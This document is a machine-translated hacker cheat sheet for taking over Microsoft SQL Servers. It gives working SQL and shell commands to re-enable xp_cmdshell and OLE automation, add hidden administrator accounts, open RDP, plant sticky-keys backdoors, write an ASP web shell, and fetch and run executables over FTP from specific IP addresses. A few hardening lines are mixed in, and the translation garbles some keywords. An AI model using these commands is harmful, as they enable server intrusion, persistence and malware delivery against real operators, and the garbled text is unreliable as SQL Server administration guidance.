1433 års reparationsorder
netuser SQLDebugger-lista /add netlokalgruppsadministratörer SQLDebugger /add
Felmeddelande: Misslyckades med att hitta lagrad procedur 'master.. xp_cmdshell'。
Reparationsmetod: mycket generellt, faktiskt kan andra 126 127 repareras tillsammans,
Förutom xplog70.dll allt annat kan fixas med detta kommando
xp_cmdshell nya återhämtningsmetoder Steg 1: Radera: Släppprocedur sp_addextendedproc Droppprocedur sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' Server: Msg 3701, Nivå 11, Tillstånd 5, Rad 1 Det är inte möjligt att ta bort processen 'sp_addextendedproc' eftersom den inte finns i systemkatalogen. Server: Msg 3701, Nivå 11, Tillstånd 5, Procedur sp_dropextendedproc, Rad 18 Det är inte möjligt att ta bort processen 'xp_cmdshell' eftersom den inte finns i systemkatalogen. Steg 2 Återhämtning: DBCC AddendedProc ("sp_oacreate","odsole70.dll") DBCC AddendedProc ("xp_cmdshell","xplog70.dll") Direkt återhämtning, oavsett om sp_addextendedproc finns eller inte
xplog70.dll åtgärder:
Felmeddelande: DLL-xplog70.dll eller någon av DLL:erna som refererades till av DLL:n kunde inte monteras. Anledning: 126 (Den angivna modulen kan inte hittas.) )。
Fixa XPLOG70.DLL (först kontrollera backup-mappen \x86\bin med filen, och byt sedan ut följande katalog)
Steg 1 exec sp_dropextendedproc 'xp_cmdshell' Steg 2 DBCC AddExtendedProc ("xp_cmdshell","C:\SQL2ksp4\x86\Binn\xplog70.dll")
Misslyckades med att hitta lagrad procedur 'mästare.. xp_cmdshell'。 Steg 1: skapa procedur sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (ägare.) Namn på funktion att anropa
*/ @dllname varchar(255)/* namn på DLL som innehåller funktionen */ som Sätt igång implicit_transactions om @@trancount > 0 Börja raiserror(15002,-1,-1,'sp_addextendedproc') Återkomst (1) slut dbcc addendedproc( @functname, @dllname) Återvänd (0) -- sp_addextendedproc KÖR
Steg 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server blockerade åtkomsten till processen 'sys.xp_cmdshell' för komponent 'xp_cmdshell' eftersom denna komponent stängdes ner som en del av säkerhetskonfigurationen för denna server. Systemadministratörer kan aktivera 'xp_cmdshell' genom att använda sp_configure. För mer information om hur man aktiverar xp_cmdshell, se Peripheral App Configurator i serien SQL Server Online Books.
; EXEC sp_configure 'visa avancerade alternativ', 1 -- ; OMKONFIGURERA MED ÖVERSKRIVNING -- ; EXEC sp_configure 'xp_cmdshell', 1 -- ; OMKONFIGURERA MED ÖVERSKRIVNING -- ; EXEC sp_configure 'visa avancerade alternativ', 0 --
Ta bort SQL farlig lagring: DROPPPROCEDUREN sp_makewebtask Exec Master.. sp_dropextendedproc xp_cmdshell Exec Master.. sp_dropextendedproc xp_dirtree Exec Master.. sp_dropextendedproc xp_fileexist Exec Master.. sp_dropextendedproc xp_terminate_process Exec Master.. sp_dropextendedproc sp_oamethod Exec Master.. sp_dropextendedproc sp_oacreate Exec Master.. sp_dropextendedproc xp_regaddmultistring Exec Master.. sp_dropextendedproc xp_regdeletekey Exec Master.. sp_dropextendedproc xp_regdeletevalue Exec Master.. sp_dropextendedproc xp_regenumkeys Exec Master.. sp_dropextendedproc xp_regenumvalues Exec Master.. sp_dropextendedproc sp_add_job Exec Master.. sp_dropextendedproc sp_addtask Exec Master.. sp_dropextendedproc xp_regread Exec Master.. sp_dropextendedproc xp_regwrite Exec Master.. sp_dropextendedproc xp_readwebtask Exec Master.. sp_dropextendedproc xp_makewebtask Exec Master.. sp_dropextendedproc xp_regremovemultistring Exec Master.. sp_dropextendedproc sp_OACreate DROPPPROCEDUREN sp_addextendedproc
Återställ utökade lagrade procedurer Återställ sp_addextendedproc först, uttalandet är följande: Först: skapa procedur sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (ägare.) namn på funktion som ska anropas */ @dllname varchar(255)/* namn på DLL som innehåller funktionen */ som Sätt igång implicit_transactions om @@trancount > 0 Börja raiserror(15002,-1,-1,'sp_addextendedproc') Återkomst (1) slut dbcc addendedproc( @functname, @dllname) Återvänd (0) -- sp_addextendedproc KÖR
För det andra: Använd master exec sp_addextendedproc xp_cmdshell, 'xp_cmdshell.dll' exekutiv sp_addextendedproc xp_dirtree,'xpstar.dll' exec sp_addextendedproc xp_enumgroups, 'xplog70.dll' exekutiv sp_addextendedproc xp_fixeddrives,'xpstar.dll' exec sp_addextendedproc xp_loginconfig, 'xplog70.dll' exekutiv sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' Exec sp_addextendedproc sp_OACreate, 'odsole70.dll' exec sp_addextendedproc sp_OADestroy,'odsole70.dll' exec sp_addextendedproc sp_OAGetErrorInfo, odsole70.dll' exec sp_addextendedproc sp_OAGetProperty, 'odsole70.dll' exekutiv sp_addextendedproc sp_OAMethod, 'odsole70.dll' Chef sp_addextendedproc sp_OASetProperty, 'odsole70.dll' exekutiv sp_addextendedproc sp_OAStop, odsole70.dll' exekutiv sp_addextendedproc xp_regaddmultistring,'xpstar.dll' exekutiv sp_addextendedproc xp_regdeletekey,'xpstar.dll' exekutiv sp_addextendedproc xp_regdeletevalue, 'xpstar.dll' Chef sp_addextendedproc xp_regenumvalues, xpstar.dll' exekutiv sp_addextendedproc xp_regread,'xpstar.dll' exekutiv sp_addextendedproc xp_regremovemultistring, 'xpstar.dll' Chef sp_addextendedproc xp_regwrite, xpstar.dll' exec sp_addextendedproc xp_availablemedia, 'xpstar.dll'
Ta bort satsen som utökar den lagrade proceduren xp_cmdshell: exec sp_dropextendedproc 'xp_cmdshell'
Återställ SQL-satsen för cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Öppna cmdshell SQL-satsen exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Ta reda på om lagringsexpansion existerar Välj count(*) från master.dbo.sysobjects där xtype='x' och name='xp_cmdshell' Returresultatet är 1 och det är okej
Återställ xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Välj count(*) från master.dbo.sysobjects där xtype='x' och name='xp_cmdshell' Returresultatet är 1 och det är okej Annars, ladda upp xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Blockera SQL-satsen i cmdshell sp_dropextendedproc "xp_cmdshell
Ett. Byta SA-lösenordsmetod: Efter att ha anslutit dig till SQL Comprehensive Utilization Tool, kör kommandot: exec sp_password NULL, 'nytt lösenord', 'sa' (Tips: använd med försiktighet!)
Två. Patcha helt enkelt det svaga lösenordet.
Metod 1: Fråga splittern efter anslutning: om existerar (välj * från dbo.sysobjects där id = object_id(N'[dbo].[ xp_cmdshell]') och OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
KÖR Tryck sedan på F5-tangenten för att utföra kommandot
Metod 2: Fråga efter att splittern är ansluten Det första steget är att köra: använd master Steg 2: sp_dropextendedproc 'xp_cmdshell' Tryck sedan på F5-tangenten för att utföra kommandot
DLL:n xpsql70.dll eller någon av DLL:erna som refereras till av DLL:n kan inte monteras. Anledning 126 (Den specificerade modulen kan inte hittas. ) Återställningsmetod: Efter att ha frågat splitteranslutningen, Steg 1: sp_dropextendedproc "xp_cmdshell" Steg 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Funktionen xp_cmdshell kan inte hittas i bibliotekets xpweb70.dll. Anledning: 127 (Det angivna programmet kan inte hittas.) ) Återställningsmetod: Efter att ha frågat splitteranslutningen, Steg 1 Genomförande: exec sp_dropextendedproc 'xp_cmdshell' Steg 2: exec sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Tryck sedan på F5-tangenten för att utföra kommandot
Om ingen av ovanstående metoder går att återställa, försök att lägga till kontot direkt med följande metoder: Efter att ha frågat splitteranslutningen, 2000servser-systemet: deklarera @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
deklarera @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP eller 2003 Server System: 126 fel! Ordning
Deklarera @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
deklarera @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server blockerade åtkomsten till processen 'sys.xp_cmdshell' för komponent 'xp_cmdshell' eftersom denna komponent stängdes ner som en del av säkerhetskonfigurationen för denna server. Systemadministratörer kan aktivera 'xp_cmdshell' genom att använda sp_configure. För mer information om hur man aktiverar xp_cmdshell, se Peripheral App Configurator i serien SQL Server Online Books.
Uttalanden som utförs av analysatorn:
EXEC sp_configure 'visa avancerade alternativ', 1; OMKONFIGURERA; EXEC sp_configure 'xp_cmdshell', 1; OMKONFIGURERA;
Ibland, när ovanstående satser exekveras med en query detacher-anslutning, kan den lagrade proceduren inte hittas sp_addextendedproc
Lösning:
skapa procedur sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (ägare.) Namn på funktion att anropa */ @dllname varchar(255)/* namn på DLL som innehåller funktionen */ som Sätt igång implicit_transactions om @@trancount > 0 Börja raiserror(15002,-1,-1,'sp_addextendedproc') Återkomst (1) slut dbcc addendedproc( @functname, @dllname) Återvänd (0) -- sp_addextendedproc KÖR Denna kod klistras in i frågesplittern och körs
Utforskaren:
c:\windows\explorer.exe
Se innehållsförteckningen exec master.dbo.xp_subdirs 'c:\' Lista diskar Exec Master.. xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Välj * från OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Välj * från OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor Version 5.00 >3389.reg Echo. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Aktiverad"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg Echo [HKEY_USERS\. STANDARD\Tangentbordslayout\Växla] >>3389.reg echo "Hotkey"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg regedit /s 3389.reg
Öppna 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Pass 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Kolla in port 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
Vanlig bakdörr med CMD xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
win2K går direkt till PS Mar Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 Välj * från OpenRowset('microsoft.jet.oledb.4.0','; databas=C:\Winnt\System32\IAS\ias.mdb','Select Shell("cmd.exe /C @echo Open 60.190.176.85>>net.txt&@echo Reconditeness>>net.txt&@echo 7259>>net.txt&@echo Get 0.exe>>net.txt& @echo hejdå>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP direkt på PS-hästar Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 Välj * från OpenRowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo hejdå>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Byt backdoor-kommandot Deklarera @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o ut exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
Deklarera @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o ut exec sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe', c:\windows\system32\dllcache\sethc.exe';
Kopiera C:\Windows\explorer.exe C:\Windows\System32\sethc.exe Kopiera C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe
Deklarera @o int Chefen sp_oacreate 'wscrip remove t.shell', @o ut exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX är kommandot du vill utföra
Skriv värdet som anges i nyckeln som anges i registret), med metoden (skriv bbb i nyckeln HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC-mästare.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='MJUKVARA\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
@echo öppna 121.22.56.5>C:\bin.txt&@echo list>>C:\bin.txt&@echo list>>C:\bin.txt&@echo få gzn.exe>>C:\bin.txt&@echo Hejdå>>C:\bin.txt&@ftp -S:C:\bin.txt&Del C:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Först, kopiera ftp.exe till wmpub-katalogen @echo CD C:\WMPabB\>C:\WMPabB in.bat&@echo ftp -s:C:\WMPabE xiuxiu.txt>>C:\WMPabU in.bat
Öppen 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL skriver en mening exec master.dbo.xp_subdirs 'd:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' '
SA Sandbox Mode Promotion ----- ---------------------- Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; ------------------------------------------------------- Välj * från OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Välj * från OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
3389-SKIFTET
Den använda meningen: Invasion EXEC-mästare.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Återhämtning EXEC-mästare.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Bildkapning
EXEC-mästare.. xp_regwrite --- det här är registerredigering! @rootkey='HKEY_LOCAL_MACHINE', ---Det här är positionen! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', -----Det här är också positionen! @value_name='Debugger', --- det är namnet på bordet! @type='REG_SZ', --- här är betydelsen av att skriva! @value='C:\WINDOWS\explorer.exe' ---- här är det skrivna innehållet!
Hela processen går ut på att använda master: xp_regwrite denna komponent är klar,
1.sql kommando för att fråga om registreringsnyckeln har kapats
Exec Master.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql kommando kapar registrets sticky key-funktion och ersätter den med aktivitetshanteraren (självklart kan du ersätta den med andra kommandon du vill)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'
3.sql kommando för att ta bort kapningsfunktionen i registrets sticky key skyddar din server från att utnyttjas av andra
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
SQL-skrivfiler
Deklarera @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o ut exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Skript utan NET-eskalering
struser=wscrip för att ta bort t.arguments(0) strpass=wscrip för att ta bort t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) OD. SetPassword strpass OD. SetInfo Set of=GetObject(oz&"/" & struser & ",user") OE. Lägg till. ADsPath)
För varje administratör i oe. Medlemmar Om Struser=Admin. Namngiv då Wscrip tog bort t.echo struser och "Etablerat framgångsrikt!" WSCRIP för att ta bort T.quit slut om Nästa
Wscrip ta bort t.echo struser & "Användaretablering misslyckades!" Spara ovanstående som användare. VBS-fil Kör sedan: cscrip för att ta bort användarlösenordet user.vbs
Med JET-sandbox-läge kan du lösa problem som orsakas av lagrade procedurer som XP_cmdshell och relaterade dynamiska länkbibliotek. Av säkerhetsskäl slår systemet inte på sandbox-läget som standard, vilket kräver att xp_regwrite aktiverar sandbox-läget:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',1
Kör sedan sandbox-kommandot för att lägga till en användarnamngiven test med lösenordet 1234 i systemet:
Välj * från OpenRowset('microsoft.jet.oledb.4.0','; databas=C:\Windows \system32\IAS\ias.mdb','välj skal("cmd.exe /c NET User Test 1234 /add")')
Välj * från OpenRowset('microsoft.jet.oledb.4.0','; databas=C:\Windows \system32\IAS\ias.mdb','select shell("cmd.exe /c net localgroup" administratörstest /add")')
Olika operativsystem har olika vägar och behöver modifieras beroende på situationen:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Dessutom är vissa lagrade procedurer i Microsoft SQL Server 2005 stängda som standard och kräver att kommandon öppnas:
Slå på XP_cmdshell:
EXEC sp_configure 'visa avancerade alternativ', 1; OMKONFIGURERA; CHEF sp_configure 'xp_cmdshell', 1; OMKONFIGURERA;
Öppna 'OPENROWSET':
exec sp_configure 'visa avancerade alternativ', 1; OMKONFIGURERA; Exec sp_configure 'Ad hoc distribuerade frågor',1; OMKONFIGURERA;
Slå på 'sp_oacreate':
exec sp_configure 'visa avancerade alternativ', 1; OMKONFIGURERA; Exec sp_configure 'Gamla automatiseringsprocedurer',1; OMKONFIGURERA;
Här är några situationer där exekveringskommandot under sa är fel: 1. DLL:xpsql70.dll eller en DLL som refereras till av DLL:en kan inte laddas. Anledning 126 (Den specificerade modulen kan inte hittas. ) Denna situation är relativt vanlig, och reparationen är enkel och enkel, men det finns villkor. Om du kan lista katalogen i det här fallet (med sqltools v2.0 finns det en katalogfunktion) Grattis till denna 80%-situation kan lösas, om du kan lista katalogen, hitta bara den xplog70.dll sökvägen och kör följande kommando. Steg 1 exec sp_dropextendedproc 'xp_cmdshell' (detta kommando är för att ta bort den ursprungliga cmdshellen, eftersom den redan har gått fel) Steg 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure 'visa avancerade alternativ', 0 – Självklart är detta ett SQL-kommando, utfört med en frågeanalysator. C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll i det andra steget är vägen för xplog70.dll, denna väg är relativt vanlig, om c-enheten inte har den kan du hitta andra diskbokstäver. 2. Kan inte hitta funktionen xp_cmdshell i biblioteket xpweb70.dll. Anledning: 127 (Det angivna programmet kan inte hittas.) ) Faktum är att detta är samma som ovanstående 126, det vill säga cmdshellen är fel, så länge du hittar backupen xplog70.dll följer metoden ovan för att fixa det. 3. Misslyckades med att hitta den lagrade proceduren 'master.' xpcmdshell' I det här fallet ser jag på internet att metoden är: Steg 1: Radera: Släppprocedur sp_addextendedproc Droppprocedur sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' Steg 2 Återhämtning: DBCC AddendedProc ("sp_oacreate","odsole70.dll") DBCC AddendedProc ("xp_cmdshell","xplog70.dll") Faktum är att detta fortfarande är samma som ovan, faktiskt, om du är försiktig kommer ovanstående 126 127 bara att misslyckas med att hitta den lagrade proceduren 'master:. xpcmdshell' eftersom det första steget är att ta bort den lagrade proceduren för cmdshell. Så i det här fallet, följ bara det andra steget ovan. 4. Felmeddelande: SQL Server blockerade åtkomst till process 'sys.xp_cmdshell' av komponent 'xp_cmdshell' eftersom denna komponent stängdes ner som en del av serverns säkerhetskonfiguration. Systemadministratörer kan aktivera 'xp_cmdshell' genom att använda sp_configure. För mer information om hur man aktiverar xp_cmdshell, se Peripheral App Configurator i serien SQL Server Online Books. Den här situationen är enklaste eftersom du inte behöver tänka på något, bara utföra följande kommando ; EXEC sp_configure 'visa avancerade alternativ', 1 -- ; OMKONFIGURERA MED ÖVERSKRIVNING -- ; EXEC sp_configure 'xp_cmdshell', 1 -- ; OMKONFIGURERA MED ÖVERSKRIVNING -- ; EXEC sp_configure 'visa avancerade alternativ', 0 –
Efter ovanstående fix kan du utföra cmd-kommandot, och du kommer att börja öka din kraft. Jag brukar först kontrollera IP:n för att se om det är ett intranät, och sedan REG-fråga HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp/v PortNumber för att kontrollera terminalporten, och sedan netstat –an för att se om terminalen är öppen och sedan internetanvändarens användarlösenord / Lägg till en användare och sedan nätverket localgroup administrators user /add Om allt går bra kommer detta att slå ner en server. Men det finns många problem i processen. 1. Nettoeffektbefrämjandet lyckas men kan inte ansluta till terminalen Det finns följande situationer (1) Servern är på intranätet. (2) TCP/IP-screening. Kör följande kommando för kommandot först: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, exportera den första delen av registret för TCP/IP-filtrering cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, exportera den andra delen av registret för TCP/IP-filtrering cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", vilket exporterar tredje plats i registret om TCP/IP-filtrering Gå sedan tillbaka till C-disken 1.reg, 2.reg, 3.reg, ladda ner 1.reg, 2.reg, 3.reg tillbaka till din hårddisk för att redigera, hitta fältet EnableSecurityFilters för att se om nyckelvärdet efter dword är 00000000, om det är 00000001 betyder det att administratören har gjort TCP/IP-filtrering, vi behöver bara ändra 1 till 0, 2. Reg och 3.reg gör samma ändringar. (3) Skapa en IP-säkerhetspolicy. Kör cmd-kommandot: cmd /c net stop policyagent för att stoppa IPSEC Services-tjänsten. Koppla in terminalen igen. (4) Inloggningsbehörigheten för terminalen som administratören ställt in kan endast användas av den angivna användaren. (5) Brandvägg. Kör kommandot cmd: net stop alg /ynet stop sharedaccess
2. NET-eskalering uppstår och åtkomst nekas Du kan prova net1 användarlösenord /add Om net1 också nekar åtkomst kan du kopiera en shfit-backdoor och försöka utföra cmd-kommandot: kopiera c:\windows explorer.exe\ c:\windows\system32\sethc.exe Kopiera C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe Om du blir tillfrågad, kopiera en fil som visar sig vara framgångsrik. Koppla till terminalen och tryck 5 shift för att se vad som dyker upp. Spela med Kaka Explorer, lägg nu bara till en användare för hand. 3. Nätupptrappning sker med åtkomstvägran fel 5 (markera) I det här fallet behöver du inte prova net1, du kan prova copy shift-backdoorn, om copy uppmanar att kopiera 0-filen bevisar det att det inte lyckas. Sedan kan du försöka ladda upp det, om du kan ladda upp det kan du direkt skicka ett icke-nätbaserat power escalation-verktyg som kom ut för ett tag sedan, och sedan lägga till en användare. Men de flesta av dessa fall kan inte laddas upp, så du måste tänka på det. Eftersom cmd kan köras kan filen laddas ner via cmd under ftp, men syftet med ftp är att kunna skriva text eller batchbehandla. Sedan kan du skriva en text eller batcha genom en SQL-sats. Deklarera @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o ut exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp-konto' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (ingen net-eskaleringsskript) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye' Efter att frågeanalysatorn har körts framgångsrikt kommer en 1.bat att visas på C-enheten (om exekveringen lyckas men C-enheten inte finns där, kan du ändra mappen för att skriva, eftersom vilken servers C-disks rotkatalog förbjuder skrivande) Sedan kör cmd ftp -s:c:\1.bat Efter att detta har körts laddar du ner ett icke-net-eskaleringsskript på CFT-enhetens FTP eller skriver ett VBS-eskaleringsskript direkt Deklarera @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o ut exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user')' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Sedan kör cmd cscrip för att ta bort t c:\1.vbs 4. Den tidigare repareras för att utföra kommandokommandon, men efter vissa reparationer uppstår nya problem (1) Meddelande: Ett fel uppstod under exekveringen av xp_cmdshell. Anropet 'CreateProcess' misslyckades med felkod: '5'. Fel 5 är ett felnummer som systemet skickar fram, CreateProcess är betydelsen av att skapa en tråd, denna felgenerering har mycket att göra med systemfilers cmd.exe, det ena är att cmd tas bort, det andra är att cmd:ns behörighet minskas. SQL för att kontrollera terminalportar och öppen status: Exec Master.. xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' Okej, den viktigaste punkten nedan är att använda två SQL-instruktioner för att kopiera systemets utforskarfil till systemets shiftbackdoor-fil, och följande två satser körs separat. Detta uttalande kopierar explorer.exe som sethc.exe deklarera @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Detta uttalande kopierar sethc.exe till dllcache-katalogen Deklarera @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile', null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; De andra två satserna använder sp_oacreate lagrade procedurer som behöver använda odsole70.dll fil, så filens överlevnad är kopplad till dess framgång. (2), xpsql.cpp: Fel 5 från CreateProcess (rad 737) Den här situationen är mer komplicerad, och det sägs på internet EXEC master.dbo.xp_regwrite 